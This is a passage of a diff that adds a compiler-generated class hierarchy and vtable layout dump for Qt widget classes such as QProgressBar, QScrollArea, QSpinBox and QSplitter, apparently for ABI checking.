+ vptr=((& QPrintPreviewWidget::_ZTV19QPrintPreviewWidget) + 8u)
+ QWidget (0xb307cbe0) 0
+ primary-for QPrintPreviewWidget (0xb307a380)
+ QObject (0xb3082168) 0
+ primary-for QWidget (0xb307cbe0)
+ QPaintDevice (0xb30821a4) 8
+ vptr=((& QPrintPreviewWidget::_ZTV19QPrintPreviewWidget) + 232u)
+
+Vtable for QProgressBar
+QProgressBar::_ZTV12QProgressBar: 64u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI12QProgressBar)
+8 QProgressBar::metaObject
+12 QProgressBar::qt_metacast
+16 QProgressBar::qt_metacall
+20 QProgressBar::~QProgressBar
+24 QProgressBar::~QProgressBar
+28 QProgressBar::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QProgressBar::sizeHint
+68 QProgressBar::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QWidget::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QProgressBar::paintEvent
+128 QWidget::moveEvent
+132 QWidget::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QWidget::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QProgressBar::text
+228 (int (*)(...))-0x000000008
+232 (int (*)(...))(& _ZTI12QProgressBar)
+236 QProgressBar::_ZThn8_N12QProgressBarD1Ev
+240 QProgressBar::_ZThn8_N12QProgressBarD0Ev
+244 QWidget::_ZThn8_NK7QWidget7devTypeEv
+248 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+252 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QProgressBar
+ size=20 align=4
+ base size=20 base align=4
+QProgressBar (0xb307a640) 0
+ vptr=((& QProgressBar::_ZTV12QProgressBar) + 8u)
+ QWidget (0xb308af50) 0
+ primary-for QProgressBar (0xb307a640)
+ QObject (0xb30823c0) 0
+ primary-for QWidget (0xb308af50)
+ QPaintDevice (0xb30823fc) 8
+ vptr=((& QProgressBar::_ZTV12QProgressBar) + 236u)
+
+Vtable for QRadioButton
+QRadioButton::_ZTV12QRadioButton: 66u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI12QRadioButton)
+8 QRadioButton::metaObject
+12 QRadioButton::qt_metacast
+16 QRadioButton::qt_metacall
+20 QRadioButton::~QRadioButton
+24 QRadioButton::~QRadioButton
+28 QRadioButton::event
+32 QObject::eventFilter
+36 QAbstractButton::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QRadioButton::sizeHint
+68 QWidget::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QAbstractButton::mousePressEvent
+84 QAbstractButton::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QRadioButton::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QAbstractButton::keyPressEvent
+104 QAbstractButton::keyReleaseEvent
+108 QAbstractButton::focusInEvent
+112 QAbstractButton::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QRadioButton::paintEvent
+128 QWidget::moveEvent
+132 QWidget::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QAbstractButton::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QRadioButton::hitButton
+228 QAbstractButton::checkStateSet
+232 QAbstractButton::nextCheckState
+236 (int (*)(...))-0x000000008
+240 (int (*)(...))(& _ZTI12QRadioButton)
+244 QRadioButton::_ZThn8_N12QRadioButtonD1Ev
+248 QRadioButton::_ZThn8_N12QRadioButtonD0Ev
+252 QWidget::_ZThn8_NK7QWidget7devTypeEv
+256 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+260 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QRadioButton
+ size=20 align=4
+ base size=20 base align=4
+QRadioButton (0xb307a980) 0
+ vptr=((& QRadioButton::_ZTV12QRadioButton) + 8u)
+ QAbstractButton (0xb307a9c0) 0
+ primary-for QRadioButton (0xb307a980)
+ QWidget (0xb30a52d0) 0
+ primary-for QAbstractButton (0xb307a9c0)
+ QObject (0xb3082690) 0
+ primary-for QWidget (0xb30a52d0)
+ QPaintDevice (0xb30826cc) 8
+ vptr=((& QRadioButton::_ZTV12QRadioButton) + 244u)
+
+Vtable for QScrollArea
+QScrollArea::_ZTV11QScrollArea: 65u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QScrollArea)
+8 QScrollArea::metaObject
+12 QScrollArea::qt_metacast
+16 QScrollArea::qt_metacall
+20 QScrollArea::~QScrollArea
+24 QScrollArea::~QScrollArea
+28 QScrollArea::event
+32 QScrollArea::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QScrollArea::sizeHint
+68 QAbstractScrollArea::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QAbstractScrollArea::mousePressEvent
+84 QAbstractScrollArea::mouseReleaseEvent
+88 QAbstractScrollArea::mouseDoubleClickEvent
+92 QAbstractScrollArea::mouseMoveEvent
+96 QAbstractScrollArea::wheelEvent
+100 QAbstractScrollArea::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QAbstractScrollArea::paintEvent
+128 QWidget::moveEvent
+132 QScrollArea::resizeEvent
+136 QWidget::closeEvent
+140 QAbstractScrollArea::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QAbstractScrollArea::dragEnterEvent
+156 QAbstractScrollArea::dragMoveEvent
+160 QAbstractScrollArea::dragLeaveEvent
+164 QAbstractScrollArea::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QFrame::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QScrollArea::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QAbstractScrollArea::viewportEvent
+228 QScrollArea::scrollContentsBy
+232 (int (*)(...))-0x000000008
+236 (int (*)(...))(& _ZTI11QScrollArea)
+240 QScrollArea::_ZThn8_N11QScrollAreaD1Ev
+244 QScrollArea::_ZThn8_N11QScrollAreaD0Ev
+248 QWidget::_ZThn8_NK7QWidget7devTypeEv
+252 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+256 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QScrollArea
+ size=20 align=4
+ base size=20 base align=4
+QScrollArea (0xb307ac80) 0
+ vptr=((& QScrollArea::_ZTV11QScrollArea) + 8u)
+ QAbstractScrollArea (0xb307acc0) 0
+ primary-for QScrollArea (0xb307ac80)
+ QFrame (0xb307ad00) 0
+ primary-for QAbstractScrollArea (0xb307acc0)
+ QWidget (0xb30b33c0) 0
+ primary-for QFrame (0xb307ad00)
+ QObject (0xb30828e8) 0
+ primary-for QWidget (0xb30b33c0)
+ QPaintDevice (0xb3082924) 8
+ vptr=((& QScrollArea::_ZTV11QScrollArea) + 240u)
+
+Vtable for QScrollBar
+QScrollBar::_ZTV10QScrollBar: 64u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI10QScrollBar)
+8 QScrollBar::metaObject
+12 QScrollBar::qt_metacast
+16 QScrollBar::qt_metacall
+20 QScrollBar::~QScrollBar
+24 QScrollBar::~QScrollBar
+28 QScrollBar::event
+32 QObject::eventFilter
+36 QAbstractSlider::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QScrollBar::sizeHint
+68 QWidget::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QScrollBar::mousePressEvent
+84 QScrollBar::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QScrollBar::mouseMoveEvent
+96 QAbstractSlider::wheelEvent
+100 QAbstractSlider::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QScrollBar::paintEvent
+128 QWidget::moveEvent
+132 QWidget::resizeEvent
+136 QWidget::closeEvent
+140 QScrollBar::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QScrollBar::hideEvent
+176 QWidget::x11Event
+180 QAbstractSlider::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QScrollBar::sliderChange
+228 (int (*)(...))-0x000000008
+232 (int (*)(...))(& _ZTI10QScrollBar)
+236 QScrollBar::_ZThn8_N10QScrollBarD1Ev
+240 QScrollBar::_ZThn8_N10QScrollBarD0Ev
+244 QWidget::_ZThn8_NK7QWidget7devTypeEv
+248 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+252 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QScrollBar
+ size=20 align=4
+ base size=20 base align=4
+QScrollBar (0xb307afc0) 0
+ vptr=((& QScrollBar::_ZTV10QScrollBar) + 8u)
+ QAbstractSlider (0xb30c8000) 0
+ primary-for QScrollBar (0xb307afc0)
+ QWidget (0xb30c1460) 0
+ primary-for QAbstractSlider (0xb30c8000)
+ QObject (0xb3082b40) 0
+ primary-for QWidget (0xb30c1460)
+ QPaintDevice (0xb3082b7c) 8
+ vptr=((& QScrollBar::_ZTV10QScrollBar) + 236u)
+
+Vtable for QSizeGrip
+QSizeGrip::_ZTV9QSizeGrip: 63u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI9QSizeGrip)
+8 QSizeGrip::metaObject
+12 QSizeGrip::qt_metacast
+16 QSizeGrip::qt_metacall
+20 QSizeGrip::~QSizeGrip
+24 QSizeGrip::~QSizeGrip
+28 QSizeGrip::event
+32 QSizeGrip::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QSizeGrip::setVisible
+64 QSizeGrip::sizeHint
+68 QWidget::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QSizeGrip::mousePressEvent
+84 QSizeGrip::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QSizeGrip::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QWidget::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QSizeGrip::paintEvent
+128 QSizeGrip::moveEvent
+132 QWidget::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QSizeGrip::showEvent
+172 QSizeGrip::hideEvent
+176 QWidget::x11Event
+180 QWidget::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 (int (*)(...))-0x000000008
+228 (int (*)(...))(& _ZTI9QSizeGrip)
+232 QSizeGrip::_ZThn8_N9QSizeGripD1Ev
+236 QSizeGrip::_ZThn8_N9QSizeGripD0Ev
+240 QWidget::_ZThn8_NK7QWidget7devTypeEv
+244 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+248 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QSizeGrip
+ size=20 align=4
+ base size=20 base align=4
+QSizeGrip (0xb30c8300) 0
+ vptr=((& QSizeGrip::_ZTV9QSizeGrip) + 8u)
+ QWidget (0xb30d81e0) 0
+ primary-for QSizeGrip (0xb30c8300)
+ QObject (0xb3082e10) 0
+ primary-for QWidget (0xb30d81e0)
+ QPaintDevice (0xb3082e4c) 8
+ vptr=((& QSizeGrip::_ZTV9QSizeGrip) + 232u)
+
+Vtable for QSpinBox
+QSpinBox::_ZTV8QSpinBox: 70u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI8QSpinBox)
+8 QSpinBox::metaObject
+12 QSpinBox::qt_metacast
+16 QSpinBox::qt_metacall
+20 QSpinBox::~QSpinBox
+24 QSpinBox::~QSpinBox
+28 QSpinBox::event
+32 QObject::eventFilter
+36 QAbstractSpinBox::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QAbstractSpinBox::sizeHint
+68 QAbstractSpinBox::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QAbstractSpinBox::mousePressEvent
+84 QAbstractSpinBox::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QAbstractSpinBox::mouseMoveEvent
+96 QAbstractSpinBox::wheelEvent
+100 QAbstractSpinBox::keyPressEvent
+104 QAbstractSpinBox::keyReleaseEvent
+108 QAbstractSpinBox::focusInEvent
+112 QAbstractSpinBox::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QAbstractSpinBox::paintEvent
+128 QWidget::moveEvent
+132 QAbstractSpinBox::resizeEvent
+136 QAbstractSpinBox::closeEvent
+140 QAbstractSpinBox::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QAbstractSpinBox::showEvent
+172 QAbstractSpinBox::hideEvent
+176 QWidget::x11Event
+180 QAbstractSpinBox::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QAbstractSpinBox::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QSpinBox::validate
+228 QSpinBox::fixup
+232 QAbstractSpinBox::stepBy
+236 QAbstractSpinBox::clear
+240 QAbstractSpinBox::stepEnabled
+244 QSpinBox::valueFromText
+248 QSpinBox::textFromValue
+252 (int (*)(...))-0x000000008
+256 (int (*)(...))(& _ZTI8QSpinBox)
+260 QSpinBox::_ZThn8_N8QSpinBoxD1Ev
+264 QSpinBox::_ZThn8_N8QSpinBoxD0Ev
+268 QWidget::_ZThn8_NK7QWidget7devTypeEv
+272 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+276 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QSpinBox
+ size=20 align=4
+ base size=20 base align=4
+QSpinBox (0xb30c85c0) 0
+ vptr=((& QSpinBox::_ZTV8QSpinBox) + 8u)
+ QAbstractSpinBox (0xb30c8600) 0
+ primary-for QSpinBox (0xb30c85c0)
+ QWidget (0xb30de9b0) 0
+ primary-for QAbstractSpinBox (0xb30c8600)
+ QObject (0xb30e8078) 0
+ primary-for QWidget (0xb30de9b0)
+ QPaintDevice (0xb30e80b4) 8
+ vptr=((& QSpinBox::_ZTV8QSpinBox) + 260u)
+
+Vtable for QDoubleSpinBox
+QDoubleSpinBox::_ZTV14QDoubleSpinBox: 70u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI14QDoubleSpinBox)
+8 QDoubleSpinBox::metaObject
+12 QDoubleSpinBox::qt_metacast
+16 QDoubleSpinBox::qt_metacall
+20 QDoubleSpinBox::~QDoubleSpinBox
+24 QDoubleSpinBox::~QDoubleSpinBox
+28 QAbstractSpinBox::event
+32 QObject::eventFilter
+36 QAbstractSpinBox::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QAbstractSpinBox::sizeHint
+68 QAbstractSpinBox::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QAbstractSpinBox::mousePressEvent
+84 QAbstractSpinBox::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QAbstractSpinBox::mouseMoveEvent
+96 QAbstractSpinBox::wheelEvent
+100 QAbstractSpinBox::keyPressEvent
+104 QAbstractSpinBox::keyReleaseEvent
+108 QAbstractSpinBox::focusInEvent
+112 QAbstractSpinBox::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QAbstractSpinBox::paintEvent
+128 QWidget::moveEvent
+132 QAbstractSpinBox::resizeEvent
+136 QAbstractSpinBox::closeEvent
+140 QAbstractSpinBox::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QAbstractSpinBox::showEvent
+172 QAbstractSpinBox::hideEvent
+176 QWidget::x11Event
+180 QAbstractSpinBox::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QAbstractSpinBox::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QDoubleSpinBox::validate
+228 QDoubleSpinBox::fixup
+232 QAbstractSpinBox::stepBy
+236 QAbstractSpinBox::clear
+240 QAbstractSpinBox::stepEnabled
+244 QDoubleSpinBox::valueFromText
+248 QDoubleSpinBox::textFromValue
+252 (int (*)(...))-0x000000008
+256 (int (*)(...))(& _ZTI14QDoubleSpinBox)
+260 QDoubleSpinBox::_ZThn8_N14QDoubleSpinBoxD1Ev
+264 QDoubleSpinBox::_ZThn8_N14QDoubleSpinBoxD0Ev
+268 QWidget::_ZThn8_NK7QWidget7devTypeEv
+272 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+276 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QDoubleSpinBox
+ size=20 align=4
+ base size=20 base align=4
+QDoubleSpinBox (0xb30c8a00) 0
+ vptr=((& QDoubleSpinBox::_ZTV14QDoubleSpinBox) + 8u)
+ QAbstractSpinBox (0xb30c8a40) 0
+ primary-for QDoubleSpinBox (0xb30c8a00)
+ QWidget (0xb30f2dc0) 0
+ primary-for QAbstractSpinBox (0xb30c8a40)
+ QObject (0xb30e8348) 0
+ primary-for QWidget (0xb30f2dc0)
+ QPaintDevice (0xb30e8384) 8
+ vptr=((& QDoubleSpinBox::_ZTV14QDoubleSpinBox) + 260u)
+
+Vtable for QSplashScreen
+QSplashScreen::_ZTV13QSplashScreen: 64u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI13QSplashScreen)
+8 QSplashScreen::metaObject
+12 QSplashScreen::qt_metacast
+16 QSplashScreen::qt_metacall
+20 QSplashScreen::~QSplashScreen
+24 QSplashScreen::~QSplashScreen
+28 QSplashScreen::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QWidget::sizeHint
+68 QWidget::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QSplashScreen::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QWidget::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QWidget::paintEvent
+128 QWidget::moveEvent
+132 QWidget::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QWidget::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QSplashScreen::drawContents
+228 (int (*)(...))-0x000000008
+232 (int (*)(...))(& _ZTI13QSplashScreen)
+236 QSplashScreen::_ZThn8_N13QSplashScreenD1Ev
+240 QSplashScreen::_ZThn8_N13QSplashScreenD0Ev
+244 QWidget::_ZThn8_NK7QWidget7devTypeEv
+248 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+252 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QSplashScreen
+ size=20 align=4
+ base size=20 base align=4
+QSplashScreen (0xb30c8d00) 0
+ vptr=((& QSplashScreen::_ZTV13QSplashScreen) + 8u)
+ QWidget (0xb3102dc0) 0
+ primary-for QSplashScreen (0xb30c8d00)
+ QObject (0xb30e85a0) 0
+ primary-for QWidget (0xb3102dc0)
+ QPaintDevice (0xb30e85dc) 8
+ vptr=((& QSplashScreen::_ZTV13QSplashScreen) + 236u)
+
+Vtable for QSplitter
+QSplitter::_ZTV9QSplitter: 64u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI9QSplitter)
+8 QSplitter::metaObject
+12 QSplitter::qt_metacast
+16 QSplitter::qt_metacall
+20 QSplitter::~QSplitter
+24 QSplitter::~QSplitter
+28 QSplitter::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QSplitter::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QSplitter::sizeHint
+68 QSplitter::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QWidget::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QFrame::paintEvent
+128 QWidget::moveEvent
+132 QSplitter::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QSplitter::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QSplitter::createHandle
+228 (int (*)(...))-0x000000008
+232 (int (*)(...))(& _ZTI9QSplitter)
+236 QSplitter::_ZThn8_N9QSplitterD1Ev
+240 QSplitter::_ZThn8_N9QSplitterD0Ev
+244 QWidget::_ZThn8_NK7QWidget7devTypeEv
+248 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+252 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QSplitter
+ size=20 align=4
+ base size=20 base align=4
+QSplitter (0xb2f20040) 0
+ vptr=((& QSplitter::_ZTV9QSplitter) + 8u)
+ QFrame (0xb2f20080) 0
+ primary-for QSplitter (0xb2f20040)
+ QWidget (0xb2f14fa0) 0
+ primary-for QFrame (0xb2f20080)
+ QObject (0xb30e87f8) 0
+ primary-for QWidget (0xb2f14fa0)
+ QPaintDevice (0xb30e8834) 8
+ vptr=((& QSplitter::_ZTV9QSplitter) + 236u)
+
+Vtable for QSplitterHandle
+QSplitterHandle::_ZTV15QSplitterHandle: 63u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI15QSplitterHandle)
+8 QSplitterHandle::metaObject
+12 QSplitterHandle::qt_metacast
+16 QSplitterHandle::qt_metacall
+20 QSplitterHandle::~QSplitterHandle
+24 QSplitterHandle::~QSplitterHandle
+28 QSplitterHandle::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QSplitterHandle::sizeHint
+68 QWidget::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QSplitterHandle::mousePressEvent
+84 QSplitterHandle::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QSplitterHandle::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QWidget::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QSplitterHandle::paintEvent
+128 QWidget::moveEvent
+132 QSplitterHandle::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QWidget::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 (int (*)(...))-0x000000008
+228 (int (*)(...))(& _ZTI15QSplitterHandle)
+232 QSplitterHandle::_ZThn8_N15QSplitterHandleD1Ev
+236 QSplitterHandle::_ZThn8_N15QSplitterHandleD0Ev
+240 QWidget::_ZThn8_NK7QWidget7devTypeEv
+244 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+248 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QSplitterHandle
+ size=20 align=4
+ base size=20 base align=4
+QSplitterHandle (0xb2f20480) 0
+ vptr=((& QSplitterHandle::_ZTV15QSplitterHandle) + 8u)
+ QWidget (0xb2f2eaa0) 0
+ primary-for QSplitterHandle (0xb2f20480)
+ QObject (0xb30e8bb8) 0
+ primary-for QWidget (0xb2f2eaa0)
+ QPaintDevice (0xb30e8bf4) 8
+ vptr=((& QSplitterHandle::_ZTV15QSplitterHandle) + 232u)
+
+Vtable for QStackedWidget
+QStackedWidget::_ZTV14QStackedWidget: 63u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI14QStackedWidget)
+8 QStackedWidget::metaObject
+12 QStackedWidget::qt_metacast
+16 QStackedWidget::qt_metacall
